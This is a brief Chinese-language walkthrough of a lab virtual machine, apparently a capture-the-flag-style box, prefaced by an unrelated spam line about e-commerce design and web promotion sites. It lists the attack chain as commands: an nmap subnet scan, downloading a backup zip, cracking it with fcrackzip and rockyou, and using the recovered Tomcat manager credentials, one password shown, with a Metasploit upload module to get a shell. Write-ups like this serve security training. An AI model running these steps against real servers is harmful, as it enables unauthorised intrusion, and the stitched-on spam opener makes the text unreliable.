电商设计素材网站推荐网络推广网站的方法
导入vb,设置为桥接
启动后的页面

kali扫描
nmap 192.168.43.1/24

80端口

8080

扫描目录发现zip文件,下载

wget http://192.168.43.85:8080/backup.zip

需要密码

尝试破解 fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

解压文件

看到有用户文件,查看一下

有很多用户名和密码
tomcat是manager页面,可以登录

自己写war包上传会出现报错
使用msf来上传木马
msfconsole
search tomcat

use 18
set rport 8080
set rhosts 192.168.43.85
set httpusername admin
set httppassword melehifokivai
exploit

